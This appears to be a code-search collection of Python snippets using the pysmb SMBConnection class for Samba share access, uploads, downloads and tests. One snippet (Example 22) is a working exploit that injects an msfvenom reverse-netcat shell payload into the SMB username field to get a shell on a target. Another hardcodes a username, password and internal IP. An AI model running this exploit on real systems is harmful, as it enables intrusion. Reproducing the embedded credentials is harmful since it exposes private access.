Ejemplo n.º 1
5
class SmbClient(object):
        def __init__(self,ip,username,password,sharename):
                self.ip = ip
                self.username = username
                self.password = password
                self.sharename = sharename
        def connect(self):
                self.server = SMBConnection(self.username,
                                self.password,client,netbios_name,use_ntlm_v2=True)
                self.server.connect(self.ip,139)
        def upload(self,file):
                data = open(file,'rb')
                file = '/' + file
                self.server.storeFile(self.sharename,file,data)
                print "file has been uploaded"
        def download(self,file):
                fileobj = open(file,'wb')
                self.server.retrieveFile(self.sharename,fileobj)
                print "file has been downloaded in current dir"

        def delete(self,file):
                'remove file from remote share'
                file = '/' + file
                self.server.deleteFiles(self.sharename,file)

        def list(self):
                ' list files of remote share '
                filelist = self.server.listPath(self.sharename,'/')
                for f in filelist:
                        print f.filename
Ejemplo n.º 2
0
def enumerateShareName(ip,shareName):
	print "Attempting to access: //"+ip+"/"+shareName
	try:
		conn = SMBConnection('guest', '', client_machine_name, remote_machine_name, use_ntlm_v2 = True) 
		conn.connect(ip, 445) 
	except:
		print "Failed to Connect"
		pass
	filelist = conn.listPath(shareName, "") 
	for y in filelist:
		if y.isDirectory:
			if y.filename!="." and y.filename!="..":
				found=False
				for z in ignoreList:
					if z in str(y.filename).lower():
						found=True
				if found==False:
					addDirList.append([ip,shareName,"\\"+y.filename])
					getShares(ip,shareName,"\\"+y.filename)
		else:
			shareName1=shareName.replace("//","/")
			fullPath = ip+"/"+shareName1+"/"+y.filename
			fullPath = fullPath.replace("///","/")
			fullPath = fullPath.replace("//","/")
			fullPath = "//"+fullPath
			print fullPath
			allFilesList.append([ip,shareName1,fullPath])
			for format in formatList:
				if format in str(y.filename).lower():
					docList.append(["docs",ip,fullPath])
			fileMatch(ip,fullPath)
Ejemplo n.º 3
0
def getShares(ip,shareName,folderPath):
	conn = SMBConnection('guest', '', client_machine_name, remote_machine_name, use_ntlm_v2 = True)        
	conn.connect(ip, 445)
	filelist = conn.listPath(shareName, folderPath)
	for y in filelist:
		if y.isDirectory:
			if y.filename!="." and y.filename!="..":
				found=False
				for z in ignoreList:
					if z in str(y.filename).lower():
						found=True
				if found==False:
					getShares(ip,shareName,"\\"+folderPath+"\\"+y.filename)
		else:
			folderPath1=folderPath.replace("\\","/")
			folderPath1=folderPath1.replace("//","/")
			shareName1=shareName.replace("//","/")
			fullPath = ip+"/"+shareName1+folderPath1+"/"+y.filename
			fullPath = fullPath.replace("///","/")
			fullPath = fullPath.replace("//","/")
			fullPath = "//"+fullPath
			print fullPath
			allFilesList.append([ip,shareName1,fullPath])

			for format in formatList:
				if format in str(y.filename).lower():
					docList.append(["docs",ip,fullPath])
			fileMatch(ip,fullPath)
Ejemplo n.º 4
0
def check_smb(host, share_name, file_name, username, password, hash_to_test):
    try:
        conn = SMBConnection(username,
                             password,
                             'name',
                             'lets_see_if_this_matters',
                             use_ntlm_v2=True,
                             is_direct_tcp=True)
        conn.connect(host, 445)
        shares = conn.listShares()

        for share in shares:
            if share.name.strip() == share_name:
                with tempfile.NamedTemporaryFile() as temp_file:
                    test = conn.retrieveFile(share.name,
                                             '/{}'.format(file_name),
                                             temp_file)
                    data = temp_file.read()
                    with open(temp_file.name, 'r') as read_temp_file:
                        data = read_temp_file.read()
                        hash_obj = hashlib.sha256(data.encode())
                        if hash_obj.hexdigest(
                        ) == 'b73a0892cea768d727f1144c1455a40aa57e9b112145e6a20a56ed1aee607e90':
                            print('SUCCESS')
                            return
    except Exception as e:
        print(str(e))
    print('Failed check')
Ejemplo n.º 5
0
def test_NTLMv1_auth_SMB2():
    global conn
    smb_structs.SUPPORT_SMB2 = smb_structs.SUPPORT_SMB2x = True
    info = getConnectionInfo()
    conn = SMBConnection(info['user'],
                         info['password'],
                         info['client_name'],
                         info['server_name'],
                         domain=info['domain'],
                         use_ntlm_v2=False)
    assert conn.connect(info['server_ip'], info['server_port'])

    conn2 = SMBConnection(info['user'],
                          'wrongPass',
                          info['client_name'],
                          info['server_name'],
                          use_ntlm_v2=False)
    assert not conn2.connect(info['server_ip'], info['server_port'])

    conn3 = SMBConnection('INVALIDUSER',
                          'wrongPass',
                          info['client_name'],
                          info['server_name'],
                          use_ntlm_v2=False)
    assert not conn3.connect(info['server_ip'], info['server_port'])
Ejemplo n.º 6
0
    def listFiles(self, share, username='', password=''):
        try:
            smbConnect = SMBConnection(username,
                                       password,
                                       '',
                                       '',
                                       use_ntlm_v2=True)
            smbConnect.connect(str(self.target), self.port)
            sharedFiles = smbConnect.listPath(share, '/')

            files = {}

            for file in sharedFiles:
                if file.isDirectory:
                    files[str(file.filename)] = 'd'
                else:
                    files[str(file.filename)] = 'f'

            files.pop('.', None)
            files.pop('..', None)

            return {share: files}

        except:
            print(
                colored(
                    '\n[-] Network error connecting to SMB share: {}\n'.format(
                        share), 'red'))
            return None
Ejemplo n.º 7
0
class SambaHelper():
    def __init__(self, user, password, serverName):
        self.__username = user
        self.__password = password
        self.__connect(serverName)

    def __connect(self, serverName):
        self.conn = SMBConnection(self.__username, self.__password, '','',use_ntlm_v2 = True)
        self.conn.connect(serverName, 139)
        print "Connected."

    def CopyFileToSambaShare(self, fileName, shareName):
        file_obj=file(fileName, 'r')
        print file_obj.name
        self.conn.storeFile(shareName, '/{0}'.format(fileName), file_obj)
    
    def CopyFilesToSambaShare(self, inputDir, shareName):
        files = os.listdir(inputDir)
        for file in files:
            if file.endswith('.jpg'):
                print file
                self.CopyFileTo("{0}/{1}".format(inputDir,file), shareName)

    def CloseConnection():
        self.conn.close()
Ejemplo n.º 8
0
def connect(server_name, user, password, domain='', use_ntlm_v2=True):
    logger.info("[lib.samba.py] connect")

    from smb.SMBConnection import SMBConnection
    import socket

    from smb import smb_structs
    smb_structs.SUPPORT_SMB2 = False

    if user == 'quest' or user == 'anonnimo' or user == 'invitado' or user == 'anonimo' or user == '' or user is None:
        user = '******'
        password = ''

    logger.info("[lib.samba.py] Averigua IP...")
    server_ip = socket.gethostbyname(server_name)
    logger.info("[lib.samba.py] server_ip=" + server_ip)

    logger.info("[lib.samba.py] Crea smb...")
    try:
        remote = SMBConnection(user, password, domain, server_name, use_ntlm_v2=use_ntlm_v2)
        conn = remote.connect(server_ip, 139)
    except:
        remote = SMBConnection(user, password, domain, server_ip, use_ntlm_v2=use_ntlm_v2)
        conn = remote.connect(server_ip, 139)

    logger.info("[lib.samba.py] Conexión realizada con éxito")

    return remote
Ejemplo n.º 9
0
 def mkdir(self,dirname):#新建文件夹  dirname:需要创建的文件名
     try:
         conn = SMBConnection(self.username, self.password, self.my_name, self.remote_smb_IP, self.domain_name, use_ntlm_v2=True,is_direct_tcp = True) 
         conn.connect(self.remote_smb_IP,445) 
         conn.createDirectory(self.dir, self.display_path + '/' + dirname)
     except:
         return False     
Ejemplo n.º 10
0
def get_thread(args, work, host):
    logger.debug('Connecting to {} as {}\\{}'.format(host, args.domain or '',
                                                     args.username))
    conn = SMBConnection(args.username,
                         args.password,
                         'adenum',
                         host,
                         use_ntlm_v2=True,
                         domain=args.domain,
                         is_direct_tcp=(args.smb_port != 139))
    conn.connect(host, port=args.smb_port)
    shares = [
        s.name.lower() for s in conn.listShares()
        if s.type == smb.base.SharedDevice.DISK_TREE
    ]
    for s in work[host]:
        if s.lower() in shares:
            for f in work[host][s]:
                local_path = (host + '\\' + f).replace('\\', '/')
                os.makedirs(os.path.dirname(local_path),
                            mode=0o770,
                            exist_ok=True)
                logger.info('Getting ' + host + '\\' + f)
                with open(local_path, 'wb') as fp:
                    conn.retrieveFile(s, f, fp)
    conn.close()
Ejemplo n.º 11
0
    def downloadFile(self, filename, download_filepath):
        '''
        下载文件
        :param filename: 保存到本地的文件名
        :param download_filepath: 保存到本地文件的路径
        :return:c
        '''

        print('downloadFile file_name is ' + filename)

        conn = SMBConnection(self.user_name,
                             self.pass_word,
                             self.my_name,
                             self.domain_name,
                             use_ntlm_v2=True)

        conn.connect(self.remote_smb_IP, self.port)
        file_obj = open(download_filepath + filename, 'wb')
        conn.retrieveFile(self.dir, filename, file_obj)

        print(type(file_obj))

        print(type(file_obj))

        file_obj.close()
        return True
Ejemplo n.º 12
0
class CSmb:
    def __init__(self):
        pass

    def __exit__(self):
        pass

    def fileSave(self, remote_path, local_file):
        try:
            self.conn = SMBConnection('ywkim',
                                      'gksQldi1!',
                                      'dev',
                                      'nas5',
                                      domain='',
                                      use_ntlm_v2=True)
            self.conn.connect('172.16.3.36', 445)


# 			self.conn = SMBConnection(USER_NAME, PASSWORD, 'dev', 'nas5', domain='', use_ntlm_v2=True)
# 			self.conn.connect(HOST_IP, PORT)
        except:
            print("[SMB]: Can not connect to NAS Server")
        else:
            try:
                f = open(local_file, 'rb')
                f.seek(0)
                self.conn.storeFile(remote_path, FILE_NAME, f)
            except:
                print("[SMB]: Can not transfer file to NAS Server")

            try:
                self.conn.close()
            except:
                print("[SMB]: Can not close connection")
Ejemplo n.º 13
0
 def display(self, a):
     try:
         self.dir = yp.get(yp.curselection())  #获取共享目录
         #print(yp.get(yp.curselection()))
     except:
         pass
     try:  #设置路径变量
         if self.display_path != '':
             if ml.get(ml.curselection()) != '..':
                 self.display_path = self.display_path + '/' + ml.get(
                     ml.curselection())
             elif ml.get(ml.curselection()) == '..':
                 self.display_path = self.display_path + '/' + ml.get(
                     ml.curselection())
         else:
             self.display_path = ml.get(ml.curselection())
         #print(ml.get(ml.curselection()))
     except:
         pass
     conn = SMBConnection(self.username.get(),
                          self.password.get(),
                          self.my_name,
                          self.domain_name,
                          use_ntlm_v2=True,
                          is_direct_tcp=True)
     conn.connect(self.remote_smb_IP.get(), int(self.port.get()))
     flist = conn.listPath(service_name=self.dir,
                           path=self.display_path,
                           pattern='*')
     ml.delete(0, END)
     for i in flist:
         #print(i.filename)
         ml.insert(END, i.filename)
Ejemplo n.º 14
0
 def uploadFile(self):
     filetypes = [("All Files", '*'), ("Python Files", '*.py', 'TEXT'),
                  ("Text Files", '*.txt', 'TEXT'),
                  ("Exe Files", '*.exe', 'TEXT')]
     fobj = filedialog.askopenfile(filetypes=filetypes)
     if fobj:
         self.upload_path = fobj.name
         a = len(self.upload_path.split('/'))
         try:
             conn = SMBConnection(self.username.get(),
                                  self.password.get(),
                                  self.my_name,
                                  self.domain_name,
                                  use_ntlm_v2=True,
                                  is_direct_tcp=True)
             conn.connect(self.remote_smb_IP.get(), int(self.port.get()))
             file_obj = open(self.upload_path, 'rb')
             conn.storeFile(
                 self.dir, self.display_path + '/' +
                 self.upload_path.split('/')[a - 1], file_obj)
             file_obj.close()
             return True
         except:
             return False
     else:
         pass
Ejemplo n.º 15
0
def test_NTLMv2_auth_SMB1():
    global conn, conn2, conn3
    smb_structs.SUPPORT_SMB2 = False
    info = getConnectionInfo()
    conn = SMBConnection(info['user'],
                         info['password'],
                         info['client_name'],
                         info['server_name'],
                         use_ntlm_v2=True,
                         is_direct_tcp=True)
    assert conn.connect(info['server_ip'], info['server_port'])

    conn2 = SMBConnection(info['user'],
                          'wrongPass',
                          info['client_name'],
                          info['server_name'],
                          use_ntlm_v2=True,
                          is_direct_tcp=True)
    assert not conn2.connect(info['server_ip'], info['server_port'])

    conn3 = SMBConnection('INVALIDUSER',
                          'wrongPass',
                          info['client_name'],
                          info['server_name'],
                          use_ntlm_v2=True,
                          is_direct_tcp=True)
    assert not conn3.connect(info['server_ip'], info['server_port'])
Ejemplo n.º 16
0
def connect(domain, username, password, client, server):
    try:
        conn = SMBConnection(username,
                             password,
                             client,
                             server,
                             domain=domain,
                             use_ntlm_v2=True,
                             is_direct_tcp=True)
        conn.connect('collabshare', 445)
        ip, port = conn.sock.getpeername()
        conn.close()
        print('{} INFO SUSPICIOUS_SMB_RESPONSE {} {}'.format(
            str(datetime.datetime.now()), ip, port))
        logfile(ip)
    except smb.smb_structs.ProtocolError as e:
        ip, port = conn.sock.getpeername()
        conn.close()
        print('{} INFO SUSPICIOUS_SMB_RESPONSE {} {}'.format(
            str(datetime.datetime.now()), ip, port))
        logfile(ip)
    except ConnectionRefusedError as e:
        pass
    except Exception as e:
        sys.stderr.write('{} ERROR {}'.format(str(datetime.datetime.now()),
                                              traceback.format_exc()))
Ejemplo n.º 17
0
def connect(server_name, user, password, domain='', use_ntlm_v2=True):
    logger.info("[lib.samba.py] connect")

    from smb.SMBConnection import SMBConnection
    import socket

    from smb import smb_structs
    smb_structs.SUPPORT_SMB2 = False

    if user == 'quest' or user == 'anonnimo' or user == 'invitado' or user == 'anonimo' or user == '' or user is None:
        user = '******'
        password = ''

    logger.info("[lib.samba.py] Averigua IP...")
    server_ip = socket.gethostbyname(server_name)
    logger.info("[lib.samba.py] server_ip=" + server_ip)

    logger.info("[lib.samba.py] Crea smb...")
    try:
        remote = SMBConnection(user, password, domain, server_name, use_ntlm_v2=use_ntlm_v2)
        conn = remote.connect(server_ip, 139)
    except:
        remote = SMBConnection(user, password, domain, server_ip, use_ntlm_v2=use_ntlm_v2)
        conn = remote.connect(server_ip, 139)

    logger.info("[lib.samba.py] Conexión realizada con éxito")

    return remote
Ejemplo n.º 18
0
def return_sampleIDs():
	sampleIDs = []
	query = request.form['query']
	mainLibraryFolder = request.form['mainLibraryFolder']
	try:
		conn = SMBConnection(username, password, myRequestIdentifier, serverName, domain=domain, use_ntlm_v2 = True)
		conn.connect(host, port)

		sampleSheetCSV = tempfile.NamedTemporaryFile()
		pathTo = 'MiSeqOutput/'+mainLibraryFolder+'/SampleSheet.csv'
		sampleSheetCSV_attributes, sampleSheetCSV_size = conn.retrieveFile(sharedFolder, pathTo, sampleSheetCSV)

		sampleSheetCSV.seek(0)

		fileContents = sampleSheetCSV.read()
		uniqueLines = fileContents.replace("\r\n", '\n').replace("\r", '\n').split("\n")

		counter = 0
		for line in uniqueLines:
			#sampleIDs.append(idtext(line, line))
			if (line.startswith("[Data]") or counter==1):
				counter+=1
				continue
			#Two lines after [Data] line, first sampleIDs is encountered
			if (counter==2):
				sampleID = line[:line.find(",")]
				if (query.lower() in sampleID.lower()) and not sampleID=="": #Not blank line
					sampleIDs.append(idtext(sampleID, sampleID))
	except Exception as ex:
		exc_type, exc_obj, exc_tb = sys.exc_info()
		fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1]
		return jsonify(result=(exc_type, fname, exc_tb.tb_lineno))
	return jsonify(result=[e.serialize() for e in sampleIDs])
Ejemplo n.º 19
0
def putSMB(task, file):
    try:
        samba = SMBConnection(task.username, task.password, 'mybase',
                              task.target)
        samba.connect(task.dir, int(task.port))
        list = task.tables.split(' ')
        share = list[0]  #TESt
        path = list[1]  #/
        s = file.split('/')[1]
        l = len(s) + 1 + 5
        t = file[l:]  #temp/share/  ddddd
        if path[-1] == '/':
            path += t  #/ddd
        else:
            path = path + '/' + t
        # 取路径
        dir = os.path.split(path)[0]
        # 去除首位空格
        dir = dir.strip()
        # 去除尾部 \ 符号
        dir = dir.rstrip("\\")
        if dir != '/':
            mkdir(samba, share, dir)
        with open(file, 'rb') as f:
            samba.storeFile(share, path, f)
        return True
    except Exception as e:
        LOGR.error('发送SMB文件错误:' + str(e))
Ejemplo n.º 20
0
def main(argv):
    parser = argparse.ArgumentParser(description='Process SMB information.')
    parser.add_argument("-u", "--username")                 #argument to provide username
    parser.add_argument("-p", "--password")                 #argument to provide password
    parser.add_argument("-f", "--file", dest="filename")    #argument to provide file with a list of all systems you want to enumerate
    parser.add_argument("-d", "--domain")                   #argument to provide domain containing smb

    args = parser.parse_args()

###################################################################
# Opens a file that contains a list of system names to go through #
# and find all shares and the files with in those shares.         #
###################################################################

    with open(args.filename) as f:

        # Open file with system names
        for system_name in f:# Loop through file
            print('Enumerating over system: ' + system_name)
            conn = SMBConnection(args.username, args.password, 'enumerator', system_name, args.domain,
            use_ntlm_v2=True, sign_options=SMBConnection.SIGN_WHEN_SUPPORTED, is_direct_tcp=False)
            conn.connect(system_name, 139) # Attempt to connect to the system
            Shares = conn.listShares(timeout=30)  # Set Shares variable that contains list of shares
            print('Shares for: ' + system_name)
            for i in range(len(Shares)):  # iterate through the list of shares
                if "$" in Shares[i].name:
                    continue
                print("Share: ",i," =", Shares[i].name)
                Files = conn.listPath(Shares[i].name,'/',timeout=30) # Get a list of files in the share
                print('Files for: ' + system_name + '/' + "  Share: ",i," =",Shares[i].name)
                for i in range(len(Files)):
                    print("File[",i,"] =", Files[i].filename)
            conn.close()
Ejemplo n.º 21
0
    def samba_get(self, service_name, remotefile, localfile):
        samba = SMBConnection(self.username, self.password, '', '')
        samba.connect(self.ip, self.port)

        def list_get(share_name, remotestuff, localstuff):
            if os.path.isdir(localstuff) is False:
                os.mkdir(localstuff)
            for files in samba.listPath(share_name, remotestuff)[2:]:
                localpath = localstuff + os.sep + files.filename
                remotepath = remotestuff + '/' + files.filename
                if not samba.getAttributes(share_name, remotepath).isDirectory:
                    handler = open(localpath, 'wb')
                    samba.retrieveFile(share_name, remotepath, handler)
                    handler.close()
                else:
                    list_get(share_name, remotepath, localpath)
        try:
            if not samba.getAttributes(service_name, remotefile).isDirectory:
                handle = open(localfile, 'wb')
                samba.retrieveFile(service_name, remotefile, handle)
                handle.close()
            else:
                list_get(service_name, remotefile, localfile)
        except Exception:
            print('download file failure! ')
        finally:
            samba.close()
Ejemplo n.º 22
0
def exploit():
    # Shellcode:
    os.system(
        "msfvenom -p cmd/unix/reverse_netcat LHOST=%s LPORT=%s -f python -o shellcode.txt"
        % (sys.argv[2], sys.argv[3]))

    BYTE_REGEX = r"\\x([\w|\d]{2})"  # extract bytes from string, without leading `\x`

    # retrieve text
    with open('shellcode.txt', 'r') as f:
        file_text = f.read()

    buf_list = []
    for byte in re.findall(BYTE_REGEX, file_text):
        #scan string and treat all bytes one by one
        buf_list.append(int(byte, base=16))

    result = bytearray(buf_list)
    result = result.decode()

    username = "******" + result + "`"
    password = ""
    conn = SMBConnection(username,
                         password,
                         "SOMEBODYHACKINGYOU",
                         "METASPLOITABLE",
                         use_ntlm_v2=False)
    os.system("rm shellcode.txt")
    print("check your listener")
    conn.connect(sys.argv[1], 445)
Ejemplo n.º 23
0
def startProtocol(port, user, passwd, ip, regex, target_path, args):
    global mirror, verbose, timeout
    mirror = args.search
    verbose = args.verbose
    timeout = args.timeout
    serverName = '*'
    conn = []
    direct = True
    if port != '445':
        serverName = input(
            "SMB over TCP is used by default on port 445.\nIf you prefer NetBIOS instead, you need to provide the NetBIOS name of the remote machine: "
        )
        direct = False
    try:
        conn = SMBConnection(user,
                             passwd,
                             'noone',
                             serverName,
                             use_ntlm_v2=True,
                             is_direct_tcp=direct)
        stdout.write("Trying SMB server: %s......" % str(ip))
        stdout.flush()
        conn.connect(str(ip), int(port), timeout=timeout)
        print("[Connected]")
        shares(target_path, conn, regex)
        conn.close()
    except OSError as err:
        print("[No connection]")
        if verbose > 0: print(err.message)
        conn.close()
        pass
Ejemplo n.º 24
0
    def poll(self, poll_input):
        socket.setdefaulttimeout(poll_input.timeout)

        username = poll_input.credentials.username
        password = poll_input.credentials.password
        domain = poll_input.credentials.domain

        try:
            #            n = NetBIOS()
            #            hostname = n.queryIPForName(poll_input.server,timeout=10)[0]
            #            n.close()
            if domain is None:
                conn = SMBConnection(username, password, '',
                                     poll_input.hostname)
            else:
                conn = SMBConnection(username, password, '',
                                     poll_input.hostname, domain.domain)

            conn.connect(poll_input.server,
                         poll_input.port,
                         timeout=poll_input.timeout)
            t = tempfile.TemporaryFile()
            conn.retrieveFile(poll_input.sharename, poll_input.path, t)
            conn.close()

            t.seek(0)
            result = SmbPollResult(t.read())
            return result
        except Exception as e:
            result = SmbPollResult(None, e)
            return result
Ejemplo n.º 25
0
 def deleteFile(self,del_file_name):#删除文件
     try:
         conn = SMBConnection(self.username, self.password, self.my_name, self.remote_smb_IP, self.domain_name, use_ntlm_v2=True,is_direct_tcp = True) 
         conn.connect(self.remote_smb_IP,445)
         conn.deleteFiles(self.dir, self.display_path + '/' + del_file_name)
     except:
         conn.deleteDirectory(self.dir, self.display_path + '/' + del_file_name)             
Ejemplo n.º 26
0
def open_samba_connection():
    '''
    Description:
        The function open a samba connection with the parameter settings
        defined in wetlab configuration file
    Return:
        conn object for the samba connection
    '''
    logger = logging.getLogger(__name__)
    logger.debug('Starting function open_samba_connection')
    conn = SMBConnection(wetlab_config.SAMBA_USER_ID,
                         wetlab_config.SAMBA_USER_PASSWORD,
                         wetlab_config.SAMBA_SHARED_FOLDER_NAME,
                         wetlab_config.SAMBA_REMOTE_SERVER_NAME,
                         use_ntlm_v2=wetlab_config.SAMBA_NTLM_USED,
                         domain=wetlab_config.SAMBA_DOMAIN,
                         is_direct_tcp=wetlab_config.IS_DIRECT_TCP)
    try:
        if wetlab_config.SAMBA_HOST_NAME:
            conn.connect(socket.gethostbyname(wetlab_config.SAMBA_HOST_NAME),
                         int(wetlab_config.SAMBA_PORT_SERVER))
        else:
            conn.connect(wetlab_config.SAMBA_IP_SERVER,
                         int(wetlab_config.SAMBA_PORT_SERVER))
    except:
        string_message = 'Unable to connect to remote server'
        logging_errors(string_message, True, True)
        raise IOError('Samba connection error')

    logger.debug('End function open_samba_connection')
    return conn
Ejemplo n.º 27
0
    def smb(self):
        userID = self.args.user[0]
        password = '******'
        client_machine_name = 'pentesting'
        server_name = 'winxpSP3'
        domain_name = 'localhost'
        server_ip = self.args.ip
        conn = SMBConnection(userID,
                             password,
                             client_machine_name,
                             server_name,
                             domain=domain_name,
                             use_ntlm_v2=True,
                             is_direct_tcp=True)
        conn.connect(server_ip, 445)
        shares = conn.listShares()

        for share in shares:
            if not share.isSpecial and share.name not in [
                    'NETLOGON', 'SYSVOL'
            ]:
                sharedfiles = conn.listPath(share.name, '/')
                for sharedfile in sharedfiles:
                    print(sharedfile.filename)

        conn.close()
        print("You are now in the smb method")
Ejemplo n.º 28
0
def get_smb_connection(
    server,
    domain,
    user,
    pas,
    port=139,
    timeout=30,
    client=CLIENTNAME,
    is_direct_tcp=False,
):
    if is_direct_tcp:
        port = 445
    hostname = "{0}.{1}".format(server, domain)
    try:
        server_ip = dnscache(hostname)
    except socket.gaierror as e:
        log.error("Couldn't resolve hostname: %s", hostname)
        raise
    server_bios_name = nbcache(server_ip)
    if server_bios_name:
        server_name = server_bios_name
    else:
        server_name = server
    conn = SMBConnection(str(user),
                         str(pas),
                         str(client),
                         str(server_name),
                         domain=str(domain),
                         is_direct_tcp=is_direct_tcp)
    conn.connect(server_ip, port, timeout=timeout)
    return conn
Ejemplo n.º 29
0
    def samba_put(self, service_name, localfile, remotefile):
        samba = SMBConnection(self.username, self.password, '', '')
        samba.connect(self.ip, self.port)

        def list_put(share_name, localstuff, remotestuff):
            dirname = os.path.dirname(remotestuff)
            basename = os.path.basename(remotestuff)
            data = []
            for value in samba.listPath(share_name, dirname):
                data.append(value.filename)
            else:
                if basename not in data:
                    samba.createDirectory(share_name, remotestuff)
            for content in os.listdir(localstuff):
                localpath = localstuff + os.sep + content
                remotepath = remotestuff + '/' + content
                if os.path.isfile(localpath):
                    handler = open(localpath, 'rb')
                    samba.storeFile(share_name, remotepath, handler)
                    handler.close()
                else:
                    list_put(share_name, localpath, remotepath)
        try:
            if os.path.isfile(localfile):
                handle = open(localfile, 'rb')
                samba.storeFile(service_name, remotefile, handle)
                handle.close()
            else:
                list_put(service_name, localfile, remotefile)
        except Exception:
            print('upload file failure! ')
        finally:
            samba.close()
Ejemplo n.º 30
0
def ListaRecursosServidor(userID, password, local_ip, server_ip, domain_name):
    # Devuelvo una lista en formato UTF-8 con los recursos disponibles via samba
    # del servidor especificado con server_ip, con el nombre del dominio en domain_name
    # y como autenticación el usuario userID y la contraseña password
    # Si no conseguimos autenticarnos con el sistema remoto imprimos el error y damos una lista vacia
    server_name = getBIOSName(server_ip, timeout=5)
    client_machine_name = getBIOSName(local_ip, timeout=5)
    #print domain_name
    Aux = []
    if (server_name == 'ERROR'):
        print 'No somos capaces de saber el nombre remoto por NETBIOS usamos su direccion Ip: ' + server_ip
        server_name = server_ip
    try:
        #print userID, password, client_machine_name, server_name, domain_name
        conn = SMBConnection(userID,
                             password,
                             client_machine_name,
                             server_name,
                             domain=domain_name,
                             use_ntlm_v2=True,
                             is_direct_tcp=True)
        conn.connect(server_ip, 445)
        shares = conn.listShares()
        for share in shares:
            if not share.isSpecial and share.name not in [
                    'NETLOGON', 'SYSVOL', 'REPL$'
            ]:
                Aux.append(share.name)
        conn.close()
    except:
        print 'Error con el usuario: ' + userID + ' y la maquina: ' + server_ip
    return Aux
Ejemplo n.º 31
0
def main():
    """Main runner
    """
    global MAC_ADDRESS, IP_ADDRESS, REMOTE_NAME, SHARE_NAME

    # Load environment variables
    load_dotenv()
    if not has_valid_env():
        create_env()
    SAMBA_PATH = "{}/{}".format(REMOTE_NAME, SHARE_NAME)

    # Wake Computer
    send_magic_packet(MAC_ADDRESS)

    print("Waiting for computer to boot...")

    # Wait for share to load
    retry = True
    conn = SMBConnection("", "", "", REMOTE_NAME)
    while retry:
        try:
            conn.connect(IP_ADDRESS)
        except SMBTimeout:
            sys.exit(1)
        except NotConnectedError:
            pass
        except ConnectionRefusedError:
            pass
        else:
            conn.close()
            retry = False

    # Connect to Samba
    subprocess.run(["open", "smb://{}".format(SAMBA_PATH)], check=False)
Ejemplo n.º 32
0
    def connect(self, remote_server, path, user="******", password=""):
        conn = SMBConnection(user,
                             password,
                             remote_server,
                             path,
                             use_ntlm_v2=True)

        try:
            # Check of tieout is possible...
            conn.connect(remote_server, 139)
            with open('local_file', 'wb') as fp:
                # conn.retrieveFile('share', '/path/to/remote_file', fp)
                results = conn.listPath('media_source', '/')
                filenames = [(r.filename, r.isDirectory) for r in results]

                for r in results:

                    if r.isDirectory == False:

                        temp_fh = open("wsf.txt", "wb")

                        file_attributes, filesize = conn.retrieveFile('media_source', '/' + r.filename, temp_fh)

                        temp_fh.write()

                        temp_fh.close()

                "Think what to do with . and .."
                for f in filenames:
                    print(f)

                test = ""
                # documents
        except Exception as msg:
            pass
    def test_003_samba(self):
        u'''samba服务器(部分型号暂未支持)'''

        host = gettelnet('host')
        ftpSmaba = NetworkSharingPage(self.driver, self.url)
        #1、未开启验证无法登录
        user_name = "anonymous"
        pass_word = ""
        my_name = "anyname"
        domain_name = ""
        remote_smb_IP = host
        smb = SMBConnection(user_name,
                            pass_word,
                            my_name,
                            domain_name,
                            use_ntlm_v2=True)
        try:
            smb.connect(remote_smb_IP, 139, timeout=3)
        except ConnectionRefusedError:
            print('未开启samba 无法访问 验证通过')

        #2、打开samba
        sambaEn = ftpSmaba.getAttribute_byName(ftpSmaba.sambaEnS, 'checked')
        if sambaEn != 'true':
            ftpSmaba.click_sambaEn()
            ftpSmaba.click_save()
        time.sleep(13)
        sambaEn = str(
            ftpSmaba.getAttribute_byName(ftpSmaba.sambaEnS, 'checked'))
        self.assertEqual(sambaEn, 'true', msg='samba开启 失败')
        #samba登录
        smb = SMBConnection(user_name,
                            pass_word,
                            my_name,
                            domain_name,
                            use_ntlm_v2=True)
        try:
            smb.connect(remote_smb_IP, 139, timeout=3)
        except socket.timeout:
            raise Exception('samba服务无法访问')
        shareslist = smb.listShares()  # 列出共享目录 这里只能看到1级菜单“1”
        smb.close()
        n = []
        for i in shareslist:
            n.append(i.name)
        print(n)
        nn = []
        for x in n:
            if '$' not in x:
                nn.append(x)
                print(nn)
        #3、打开验证
        if '1' in nn:
            pass
        else:
            raise Exception('samba验证失败')  # 如果没有则报错

        self.driver.quit()
        logger.info('test_003_samba passed')
Ejemplo n.º 34
0
def run(username,
        password,
        ip,
        hostname='',
        Pathurl='',
        filename='',
        outfile=''):
    try:
        print Pathurl
        if '\\\\' in Pathurl:
            sharename = str(Pathurl.split('\\\\')[0])
            #print sharename
            path = str(Pathurl.split('\\\\')[1])
            #print path
        else:
            sharename = ''
            path = ''
        if hostname == '':
            hostname = ip2hostname(ip)
        if '\\' in username:
            domain = username.split('\\')[0]
            username = username.split('\\')[1]
        else:
            domain = ''
        conn = SMBConnection(username, password, '', hostname, domain)
        try:
            conn.connect(ip, 139)
        except Exception, e:
            print e
            return
        result = ''
        if sharename == '':
            if conn.auth_result:
                print 'Login Success to %s!' % hostname
                shares = conn.listShares()
                for share in shares:
                    result = result + share.name + '\r\n'
            else:
                print 'Login Fail to %s!' % hostname
        elif filename == '':
            if conn.auth_result:
                try:
                    files = conn.listPath(sharename, path)
                    result = result + 'share dir:' + sharename + '/' + path + '\r\n'
                    for f in files:
                        type = ('<DIR>' if f.isDirectory else '<File>')
                        result = result + str(
                            time.strftime(
                                "%Y-%m-%d %H:%M:%S",
                                time.localtime(f.create_time))) + '    ' + str(
                                    time.strftime(
                                        "%Y-%m-%d %H:%M:%S",
                                        time.localtime(f.last_write_time))
                                ) + '    ' + type + ' ' + str(
                                    f.file_size) + '  ' + f.filename + '\r\n'
                except Exception, e:
                    print e
            else:
                print 'Login Fail to %s!' % hostname
Ejemplo n.º 35
0
 def connlist(self):
     obj = SMBConnection(self.userID, self.password, self.server_name, self.server_name, use_ntlm_v2 = True, is_direct_tcp = True)
     obj.connect(self.server_ip, 445)
     resp = obj.listShares()
     shares = []
     for share in range(len(resp)):
         shares.append(resp[share].name)
     return obj, shares
Ejemplo n.º 36
0
def show_dir(path):
    conn = SMBConnection(USERNAME, PASSWORD, MY_NAME, REMOTE_NAME, use_ntlm_v2=False)
    conn.connect(SERVER_IP, PORT)
    re = conn.listPath('Share',  os.path.join('/ESAP/Hand-Out/', path))
    conn.close()
    for i in re:
        i.link = os.path.join(path, i.filename)
    return render_template('hello.html', files=re)
Ejemplo n.º 37
0
	def run(self):
		try:
			conn = SMBConnection(MiSeqServerData.username, MiSeqServerData.password, MiSeqServerData.myRequestIdentifier, MiSeqServerData.serverName, domain=MiSeqServerData.domain, use_ntlm_v2 = True)
